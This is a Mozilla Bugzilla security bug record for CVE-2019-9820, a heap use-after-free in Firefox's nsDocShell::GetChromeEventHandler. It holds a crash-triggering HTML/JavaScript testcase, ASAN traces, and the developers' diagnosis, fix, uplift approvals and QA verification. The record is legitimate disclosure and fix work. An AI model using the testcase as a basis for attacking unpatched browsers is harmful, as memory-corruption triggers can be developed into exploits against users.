Closed Bug 1536405 (CVE-2019-9820) Opened 1 year ago Closed 1 year ago

heap-use-after-free in nsDocShell::GetChromeEventHandler

Categories

(Core :: DOM: Navigation, defect)

68 Branch
defect
Not set
normal

Tracking

()

VERIFIED FIXED
mozilla68
Tracking Status
firefox-esr60 67+ fixed
firefox66 --- wontfix
firefox67 + verified
firefox68 + verified

People

(Reporter: nils, Assigned: nika)

Details

(Keywords: csectype-uaf, sec-high, Whiteboard: [adv-main67+][adv-esr60.7+])

Attachments

(5 files, 3 obsolete files)

The following testcase crashes the latest ASAN build of Firefox 68.0a1 (SourceStamp=8803315158232628b5a63ad1e2dc84b28da805eb). It requires the attached intro.xml and intro.xsl in the same directory loaded from a webserver. It works best if loaded in multiple tabs and might require a few attempts.

crash.html:
<script>
function start() {
o1044=document.createElementNS('http://www.w3.org/1999/xhtml','form');
o10=window.open('intro.xml','popup39','height=10,width=105,top=1,outerWidth=121,innerHeight=-393216,innerWidth=7602173,dependent');;
o44=window.open('y','popup80','centerscreen,innerWidth=3,menubar,scrollbars');;
document.documentElement.innerHTML='';
o554=document.documentElement;
o10.F={};o10.eval("F.o622=document.createElementNS('http://www.w3.org/1999/xhtml','div');");;
o622 = o10.F.o622;
o622.innerHTML="<svg><title xml="test-title"></title><defs><font-face></font-face></defs><g font-family="test-body-content"><text>end</text><g transform="translate"><g font-size="14"><g><rect width="-6"></rect>><rect fill=""></rect></g></g></g><text>DRAFT</text></g></svg>";
o623=o622.firstChild.getElementsByTagName('*');;
o637=o623[1];;
o693=new IntersectionObserver(fun0,{});;
o716=o637.ownerDocument;;
o693.observe(o554);
o10.open();
o10.close();
o907 = o10.document;
o907.documentElement.appendChild(o1044);
try{o716.appendChild(o907.documentElement);}catch(e){}
}
function fun0() {
o1114=document.createElementNS('http://www.w3.org/1999/xhtml','iframe');;
o1044.appendChild(o1114);
}
</script>
<body onload="start()"></body>

ASAN output:

==24153==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000209b00 at pc 0x7fbcedd8c7d8 bp 0x7ffe33fc6480 sp 0x7ffe33fc6478
READ of size 8 at 0x60c000209b00 thread T0 (Web Content)
#0 0x7fbcedd8c7d7 in nsCOMPtr /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:517:7
#1 0x7fbcedd8c7d7 in nsDocShell::GetChromeEventHandler(mozilla::dom::EventTarget**) /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:1148
#2 0x7fbce47179de in nsFrameLoader::MaybeCreateDocShell() /builds/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:2011:21
#3 0x7fbce471bbfd in nsFrameLoader::CheckForRecursiveLoad(nsIURI*) /builds/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:2249:8
#4 0x7fbce470f1ed in CheckURILoad /builds/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:575:10
#5 0x7fbce470f1ed in nsFrameLoader::LoadURI(nsIURI*, nsIPrincipal*, nsIContentSecurityPolicy*, bool) /builds/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:373
#6 0x7fbce470dfd3 in nsFrameLoader::LoadFrame(bool) /builds/worker/workspace/build/src/dom/base/nsFrameLoader.cpp:339:10
#7 0x7fbce859e48e in LoadSrc /builds/worker/workspace/build/src/dom/html/nsGenericHTMLFrameElement.cpp:201:17
#8 0x7fbce859e48e in nsGenericHTMLFrameElement::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*) /builds/worker/workspace/build/src/dom/html/nsGenericHTMLFrameElement.cpp:218
#9 0x7fbce838c2fc in mozilla::dom::HTMLIFrameElement::BindToTree(mozilla::dom::Document*, nsIContent*, nsIContent*) /builds/worker/workspace/build/src/dom/html/HTMLIFrameElement.cpp:67:34
#10 0x7fbce4767759 in nsINode::InsertChildBefore(nsIContent*, nsIContent*, bool) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:1246:23
#11 0x7fbce4772e24 in nsINode::ReplaceOrInsertBefore(bool, nsINode*, nsINode*, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsINode.cpp:2361:14
#12 0x7fbce53b00b9 in InsertBefore /builds/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1684:12
#13 0x7fbce53b00b9 in AppendChild /builds/worker/workspace/build/src/obj-firefox/dist/include/nsINode.h:1687
#14 0x7fbce53b00b9 in mozilla::dom::Node_Binding::appendChild(JSContext*, JS::Handle<JSObject*>, nsINode*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/NodeBinding.cpp:1021
#15 0x7fbce780d8f1 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3144:13
#16 0x7fbceef3cd77 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#17 0x7fbceef3cd77 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534
#18 0x7fbceef3f332 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8
#19 0x7fbcefc29c0f in js::ForwardingProxyHandler::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/Wrapper.cpp:162:10
#20 0x7fbcefbe2f81 in js::CrossCompartmentWrapper::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) const /builds/worker/workspace/build/src/js/src/proxy/CrossCompartmentWrapper.cpp:238:19
#21 0x7fbcefc09270 in js::Proxy::call(JSContext*, JS::Handle<JSObject*>, JS::CallArgs const&) /builds/worker/workspace/build/src/js/src/proxy/Proxy.cpp:503:19
#22 0x7fbceef3ddc9 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:508:14
#23 0x7fbceef251a6 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:593:10
#24 0x7fbceef251a6 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3075
#25 0x7fbceef07238 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#26 0x7fbceef3d6e6 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13
#27 0x7fbceef3f332 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8
#28 0x7fbcefb50ee9 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2623:10
#29 0x7fbce76a7d01 in mozilla::dom::IntersectionCallback::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Sequence<mozilla::OwningNonNull<mozilla::dom::DOMIntersectionObserverEntry> > const&, mozilla::dom::DOMIntersectionObserver&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/IntersectionObserverBinding.cpp:833:8
#30 0x7fbce4043128 in Call<mozilla::dom::DOMIntersectionObserver > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/IntersectionObserverBinding.h:486:12
#31 0x7fbce4043128 in Call<mozilla::dom::DOMIntersectionObserver > /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/IntersectionObserverBinding.h:508
#32 0x7fbce4043128 in mozilla::dom::DOMIntersectionObserver::Notify() /builds/worker/workspace/build/src/dom/base/DOMIntersectionObserver.cpp:463
#33 0x7fbce441a95b in mozilla::dom::Document::NotifyIntersectionObservers() /builds/worker/workspace/build/src/dom/base/Document.cpp:11525:17
#34 0x7fbce44be9ab in applyImpl<mozilla::dom::Document, void (mozilla::dom::Document::
)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1122:12
#35 0x7fbce44be9ab in apply<mozilla::dom::Document, void (mozilla::dom::Document::
)()> /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1128
#36 0x7fbce44be9ab in mozilla::detail::RunnableMethodImpl<mozilla::dom::Document*, void (mozilla::dom::Document::)(), true, (mozilla::RunnableKind)0>::Run() /builds/worker/workspace/build/src/obj-firefox/dist/include/nsThreadUtils.h:1174
#37 0x7fbce0065385 in mozilla::SchedulerGroup::Runnable::Run() /builds/worker/workspace/build/src/xpcom/threads/SchedulerGroup.cpp:295:32
#38 0x7fbce00a4a31 in nsThread::ProcessNextEvent(bool, bool
) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1179:14
#39 0x7fbce00ace3d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:482:10
#40 0x7fbce136b34f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
#41 0x7fbce12410ce in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#42 0x7fbce12410ce in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#43 0x7fbce12410ce in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#44 0x7fbcea695733 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#45 0x7fbceec5f20e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:933:20
#46 0x7fbce12410ce in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#47 0x7fbce12410ce in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#48 0x7fbce12410ce in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#49 0x7fbceec5e39c in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:771:34
#50 0x55da48261834 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#51 0x55da48261834 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:265
#52 0x7fbd03b35b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310
#53 0x55da48186ebc in _start (/home/nils/browser/firefox/firefox/firefox+0x2debc)

0x60c000209b00 is located 0 bytes inside of 120-byte region [0x60c000209b00,0x60c000209b78)
freed by thread T0 (Web Content) here:
#0 0x55da4822e9e2 in free /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:124:3
#1 0x7fbcdfe6c311 in SnowWhiteKiller::~SnowWhiteKiller() /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2416:7
#2 0x7fbcdfe68df9 in ~RemoveSkippableVisitor /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2540:3
#3 0x7fbcdfe68df9 in nsPurpleBuffer::RemoveSkippable(nsCycleCollector*, js::SliceBudget&, bool, bool, void ()()) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2587
#4 0x7fbcdfe6ccb6 in nsCycleCollector::ForgetSkippable(js::SliceBudget&, bool, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:2653:14
#5 0x7fbcdfe7ada0 in nsCycleCollector_forgetSkippable(js::SliceBudget&, bool, bool) /builds/worker/workspace/build/src/xpcom/base/nsCycleCollector.cpp:3893:21
#6 0x7fbce478b3cb in FireForgetSkippable(unsigned int, bool, mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1191:3
#7 0x7fbce4792951 in CCRunnerFired(mozilla::TimeStamp) /builds/worker/workspace/build/src/dom/base/nsJSEnvironment.cpp:1859:5
#8 0x7fbce0051df7 in operator() /builds/worker/workspace/build/src/clang/bin/../lib/gcc/x86_64-unknown-linux-gnu/6.4.0/../../../../include/c++/6.4.0/functional:2127:14
#9 0x7fbce0051df7 in mozilla::IdleTaskRunner::Run() /builds/worker/workspace/build/src/xpcom/threads/IdleTaskRunner.cpp:58
#10 0x7fbce00a4a31 in nsThread::ProcessNextEvent(bool, bool
) /builds/worker/workspace/build/src/xpcom/threads/nsThread.cpp:1179:14
#11 0x7fbce00ace3d in NS_ProcessNextEvent(nsIThread*, bool) /builds/worker/workspace/build/src/xpcom/threads/nsThreadUtils.cpp:482:10
#12 0x7fbce136b34f in mozilla::ipc::MessagePump::Run(base::MessagePump::Delegate*) /builds/worker/workspace/build/src/ipc/glue/MessagePump.cpp:88:21
#13 0x7fbce12410ce in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#14 0x7fbce12410ce in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#15 0x7fbce12410ce in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#16 0x7fbcea695733 in nsBaseAppShell::Run() /builds/worker/workspace/build/src/widget/nsBaseAppShell.cpp:137:27
#17 0x7fbceec5f20e in XRE_RunAppShell() /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:933:20
#18 0x7fbce12410ce in RunInternal /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:315:10
#19 0x7fbce12410ce in RunHandler /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:308
#20 0x7fbce12410ce in MessageLoop::Run() /builds/worker/workspace/build/src/ipc/chromium/src/base/message_loop.cc:290
#21 0x7fbceec5e39c in XRE_InitChildProcess(int, char**, XREChildData const*) /builds/worker/workspace/build/src/toolkit/xre/nsEmbedFunctions.cpp:771:34
#22 0x55da48261834 in content_process_main /builds/worker/workspace/build/src/browser/app/../../ipc/contentproc/plugin-container.cpp:56:28
#23 0x55da48261834 in main /builds/worker/workspace/build/src/browser/app/nsBrowserApp.cpp:265
#24 0x7fbd03b35b96 in __libc_start_main /build/glibc-OTsEL5/glibc-2.27/csu/../csu/libc-start.c:310

previously allocated by thread T0 (Web Content) here:
#0 0x55da4822ed63 in __interceptor_malloc /builds/worker/workspace/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:146:3
#1 0x55da482635fd in moz_xmalloc /builds/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:68:15
#2 0x7fbce487fb72 in operator new /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:131:10
#3 0x7fbce487fb72 in NS_NewWindowRoot(nsPIDOMWindowOuter*) /builds/worker/workspace/build/src/dom/base/nsWindowRoot.cpp:334
#4 0x7fbce41c7ab4 in nsGlobalWindowOuter::SetDocShell(nsDocShell*) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowOuter.cpp:2409:29
#5 0x7fbce420b466 in nsGlobalWindowOuter::Create(nsDocShell*, bool) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowOuter.cpp:7759:11
#6 0x7fbcedd7e060 in nsDocShell::EnsureScriptEnvironment() /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:12055:19
#7 0x7fbceddb17d0 in GetWindow /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:3622:7
#8 0x7fbceddb17d0 in non-virtual thunk to nsDocShell::GetWindow() /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp
#9 0x7fbcede5ddc2 in nsSHistory::SetRootDocShell(nsIDocShell*) /builds/worker/workspace/build/src/docshell/shistory/nsSHistory.cpp:1513:55
#10 0x7fbceddc2f99 in nsDocShell::InitSessionHistory() /builds/worker/workspace/build/src/docshell/base/nsDocShell.cpp:4719:25
#11 0x7fbcee53cee9 in nsWebBrowser::Create(nsIWebBrowserChrome*, nsIWidget*, mozilla::OriginAttributes const&, mozilla::dom::BrowsingContext*) /builds/worker/workspace/build/src/toolkit/components/browser/nsWebBrowser.cpp:154:13
#12 0x7fbce9c3cb9d in mozilla::dom::TabChild::Init(mozIDOMWindowProxy*) /builds/worker/workspace/build/src/dom/ipc/TabChild.cpp:526:17
#13 0x7fbce9b461bf in mozilla::dom::ContentChild::ProvideWindowCommon(mozilla::dom::TabChild*, mozIDOMWindowProxy*, bool, unsigned int, bool, bool, bool, nsIURI*, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, bool, nsDocShellLoadState*, bool*, mozIDOMWindowProxy**) /builds/worker/workspace/build/src/dom/ipc/ContentChild.cpp:958:7
#14 0x7fbce9c462b5 in mozilla::dom::TabChild::ProvideWindow(mozIDOMWindowProxy*, unsigned int, bool, bool, bool, nsIURI*, nsTSubstring<char16_t> const&, nsTSubstring<char> const&, bool, nsDocShellLoadState*, bool*, mozIDOMWindowProxy**) /builds/worker/workspace/build/src/dom/ipc/TabChild.cpp:922:14
#15 0x7fbceeba0bd9 in nsWindowWatcher::OpenWindowInternal(mozIDOMWindowProxy*, char const*, char const*, char const*, bool, bool, bool, nsIArray*, bool, bool, nsDocShellLoadState*, mozIDOMWindowProxy**) /builds/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:755:24
#16 0x7fbceeba5ec3 in OpenWindow2 /builds/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp:367:10
#17 0x7fbceeba5ec3 in non-virtual thunk to nsWindowWatcher::OpenWindow2(mozIDOMWindowProxy*, char const*, char const*, char const*, bool, bool, bool, nsISupports*, bool, bool, nsDocShellLoadState*, mozIDOMWindowProxy**) /builds/worker/workspace/build/src/toolkit/components/windowwatcher/nsWindowWatcher.cpp
#18 0x7fbce41f60d1 in nsGlobalWindowOuter::OpenInternal(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, bool, bool, bool, bool, bool, nsIArray*, nsISupports*, nsDocShellLoadState*, bool, nsPIDOMWindowOuter**) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowOuter.cpp:7181:21
#19 0x7fbce41f4839 in OpenJS /builds/worker/workspace/build/src/dom/base/nsGlobalWindowOuter.cpp:5694:10
#20 0x7fbce41f4839 in nsGlobalWindowOuter::OpenOuter(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowOuter.cpp:5666
#21 0x7fbce41769d5 in nsGlobalWindowInner::Open(nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, nsTSubstring<char16_t> const&, mozilla::ErrorResult&) /builds/worker/workspace/build/src/dom/base/nsGlobalWindowInner.cpp:3630:3
#22 0x7fbce6875f88 in mozilla::dom::Window_Binding::open(JSContext*, JS::Handle<JSObject*>, nsGlobalWindowInner*, JSJitMethodCallArgs const&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/WindowBinding.cpp:2866:44
#23 0x7fbce780f8d8 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::MaybeGlobalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /builds/worker/workspace/build/src/dom/bindings/BindingUtils.cpp:3144:13
#24 0x7fbceef3cd77 in CallJSNative /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:442:13
#25 0x7fbceef3cd77 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:534
#26 0x7fbceef251a6 in CallFromStack /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:593:10
#27 0x7fbceef251a6 in Interpret(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:3075
#28 0x7fbceef07238 in js::RunScript(JSContext*, js::RunState&) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:422:10
#29 0x7fbceef3d6e6 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:562:13
#30 0x7fbceef3f332 in js::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, js::AnyInvokeArgs const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/vm/Interpreter.cpp:605:8
#31 0x7fbcefb50ee9 in JS::Call(JSContext*, JS::Handle<JS::Value>, JS::Handle<JS::Value>, JS::HandleValueArray const&, JS::MutableHandle<JS::Value>) /builds/worker/workspace/build/src/js/src/jsapi.cpp:2623:10
#32 0x7fbce6e104a9 in mozilla::dom::EventHandlerNonNull::Call(JSContext*, JS::Handle<JS::Value>, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /builds/worker/workspace/build/src/obj-firefox/dom/bindings/EventHandlerBinding.cpp:266:37
#33 0x7fbce80d6d99 in void mozilla::dom::EventHandlerNonNull::Call<nsISupports*>(nsISupports* const&, mozilla::dom::Event&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&, char const*, mozilla::dom::CallbackObject::ExceptionHandling, JS::Realm*) /builds/worker/workspace/build/src/obj-firefox/dist/include/mozilla/dom/EventHandlerBinding.h:363:12
#34 0x7fbce80d4029 in mozilla::JSEventHandler::HandleEvent(mozilla::dom::Event*) /builds/worker/workspace/build/src/dom/events/JSEventHandler.cpp:205:12
#35 0x7fbce808652a in mozilla::EventListenerManager::HandleEventSubType(mozilla::EventListenerManager::Listener*, mozilla::dom::Event*, mozilla::dom::EventTarget*) /builds/worker/workspace/build/src/dom/events/EventListenerManager.cpp:1044:22

SUMMARY: AddressSanitizer: heap-use-after-free /builds/worker/workspace/build/src/obj-firefox/dist/include/nsCOMPtr.h:517:7 in nsCOMPtr
Shadow bytes around the buggy address:
0x0c1880039310: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c1880039320: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
0x0c1880039330: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fa
0x0c1880039340: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c1880039350: 00 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa
=>0x0c1880039360:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fa
0x0c1880039370: fa fa fa fa fa fa fa fa fd fd fd fd fd fd fd fd
0x0c1880039380: fd fd fd fd fd fd fd fa fa fa fa fa fa fa fa fa
0x0c1880039390: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x0c18800393a0: fa fa fa fa fa fa fa fa 00 00 00 00 00 00 00 00
0x0c18800393b0: 00 00 00 00 00 00 00 fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==24153==ABORTING

Attached file intro.xml
Attached file intro.xsl
Attached file ASAN output

Not sure where to start with this one -- all kinds of things going on in here (docshell, intersection observer, compartments)

Group: core-security → layout-core-security
Component: DOM: Events → Document Navigation
Flags: needinfo?(kyle)

qDot's on PTO for a few more days. Maybe Nika can take a look? Thanks.

Flags: needinfo?(kyle) → needinfo?(nika)

I noticed this call on a field in DOMIntersectionObserver::Notify():
mCallback->Call(this, entries, *this);
but it doesn't look like the nsWindowRoot is being destroyed with that method on the stack. (Plus that field only gets cleared if the intersection observer is cycle collected or destroyed, and I think the observer is being held alive by the stack.)

Fwiw, that field call is gone on tip as of https://hg.mozilla.org/mozilla-central/diff/ef6d1980e246/dom/base/DOMIntersectionObserver.cpp landing yesterday/today.

And yes, the DOMIntersectionObserver is kept alive through this, via the on-stack "observers" array in Document::NotifyIntersectionObservers. There is a hole in the can-run-script analysis here (bug 1535530), but the code is safe anyway.

In any case, the "free" happened without any of this stuff on the stack, due to the main event loop spinning like it's supposed to and killing things that the CC had marked as ready to die, right?

It looks like we have the invalid access when someone does nsDocShell::GetChromeEventHandler on a docshell and its mChromeEventHandler is dead. mChromeEventHandler is a raw (non-reference-holding) pointer to the EventTarget.

So in theory, when nsDocShell::SetChromeEventHandler is called it's supposed to set the chrome event handler on the window as well, if it has one at that point. But what it it doesn't?

Anyway, given that docshell is now cycle collected, can we just make mChromeEventHandler a strong ref and cc it? That seems like it'd be much safer than trying to figure out how it ended up stale and trying to patch that up...

Oh, and we apparently never SetChromeEventHandler(nullptr)? In that case.... :(

Assignee: nobody → nika
Flags: needinfo?(nika)

Comment on attachment 9052695 [details]
Bug 1536405 - Cycle-collect through ChromeEventHandler,

Security Approval Request

  • How easily could an exploit be constructed based on the patch?: The particular mechanism to trigger the UAF which this patch fixes is not obvious, but it may bring attention to the pointer in question which has a questionable lifetime.
  • Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?: No
  • Which older supported branches are affected by this flaw?: (all)
  • If not all supported branches, which bug introduced the flaw?: None
  • Do you have backports for the affected branches?: No
  • If not, how different, hard to create, and risky will they be?: I believe that this patch will apply with minimal changes to all affected branches, as nsDocShell is also cycle-collected in ESR60.
  • How likely is this patch to cause regressions; how much testing does it need?: This patch should be unlikely to cause regressions, as it just makes reference counts on this object stronger.
Attachment #9052695 - Flags: sec-approval?
Group: layout-core-security → dom-core-security

sec-approval+ for trunk. We'll want this on affected branches as well.

Attachment #9052695 - Flags: sec-approval? → sec-approval+

Comment on attachment 9053753 [details]
Bug 1536405 - [BETA] Cycle-collect through ChromeEventHandler

Beta/Release Uplift Approval Request

  • Feature/Bug causing the regression: None
  • User impact if declined: Potential use-after-free
  • Is this code covered by automated tests?: Unknown
  • Has the fix been verified in Nightly?: Yes
  • Needs manual test from QE?: No
  • If yes, steps to reproduce:
  • List of other uplifts needed: None
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): Only makes a reference strong, which should avoid the UAF. Relatively minor change
  • String changes made/needed: None
  • Do you want to request approval of these patches as well?: on
Attachment #9053753 - Flags: approval-mozilla-beta?

Comment on attachment 9053754 [details]
Bug 1536405 - [ESR60] Cycle-collect through ChromeEventHandler

ESR Uplift Approval Request

  • If this is not a sec:{high,crit} bug, please state case for ESR consideration:
  • User impact if declined: (see above)
  • Fix Landed on Version:
  • Risk to taking this patch: Low
  • Why is the change risky/not risky? (and alternatives if risky): (see above)
  • String or UUID changes made by this patch: None
  • Do you want to request approval of these patches as well?: on
Attachment #9053754 - Flags: approval-mozilla-esr60?
Group: dom-core-security → core-security-release
Status: NEW → RESOLVED
Closed: 1 year ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla68

Comment on attachment 9053753 [details]
Bug 1536405 - [BETA] Cycle-collect through ChromeEventHandler

Approved for 67 beta, thanks.

Attachment #9053753 - Flags: approval-mozilla-beta? → approval-mozilla-beta+
Flags: qe-verify+

Comment on attachment 9053754 [details]
Bug 1536405 - [ESR60] Cycle-collect through ChromeEventHandler

Fix for sec-high issue, OK for uplift for ESR 60.7.

Attachment #9053754 - Flags: approval-mozilla-esr60? → approval-mozilla-esr60+
QA Whiteboard: [qa-triaged]

I've tested on Ubuntu 18.04 x64, using ASAN build of Firefox 68.0a1 from here: https://treeherder.mozilla.org/#/jobs?repo=mozilla-central&revision=8803315158232628b5a63ad1e2dc84b28da805eb&selectedJob=234729873 (as mentioned in Description) and I'm not able to reproduce the initial issue.
I installed and run Apache web server and I put the intro.xml and intro.xsl in the same directory which is loaded from Apache web server. I tried several times and I loaded in multiple tabs, but without success; I didn't get a crash and I didn't have the Output mentioned in Description (ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000209b00 at pc 0x7fbcedd8c7d8 bp 0x7ffe33fc6480 sp 0x7ffe33fc6478).

Is there anything that I've missed?

Flags: needinfo?(aryx.bugmail)

Nika, can you answer Camelia's question in comment 20, please?

Flags: needinfo?(aryx.bugmail) → needinfo?(nika)

I'm guessing that as mentioned in comment 7, the particular call was removed due to an unrelated fix. This change simply makes the reference strong as part of a more defense-in-depth approach. I don't know of a way to trigger this failure currently, but these patches should make it impossible.

Flags: needinfo?(nika)
Attachment #9053753 - Attachment is obsolete: true
Attachment #9053754 - Attachment is obsolete: true

Considering that I could not reproduce the issue, I can't verify if this is fixed or not.

Nils, could you please verify if the issue is fixed on these builds:

Flags: needinfo?(nils)

Hey Camelia. I can confirm this isn't crashing the try build of 68.0a1. On 67 Beta I am getting a JS exception:

JavaScript error: http://localhost:8001/crash.html, line 19: TypeError: o907.documentElement is null

I haven't tried to repro this on a beta build before

Flags: needinfo?(nils)

Thank you, Nils!

Nika, could you please see if that JavaScript error received on Firefox 67 Beta build (comment 24) may be a concern or not?

Flags: needinfo?(nika)

I doubt that JS error is an issue :-)

Flags: needinfo?(nika)

Thank you, Nika!

Based on comment 24 and comment 26, I will mark this issue as verified fixed.

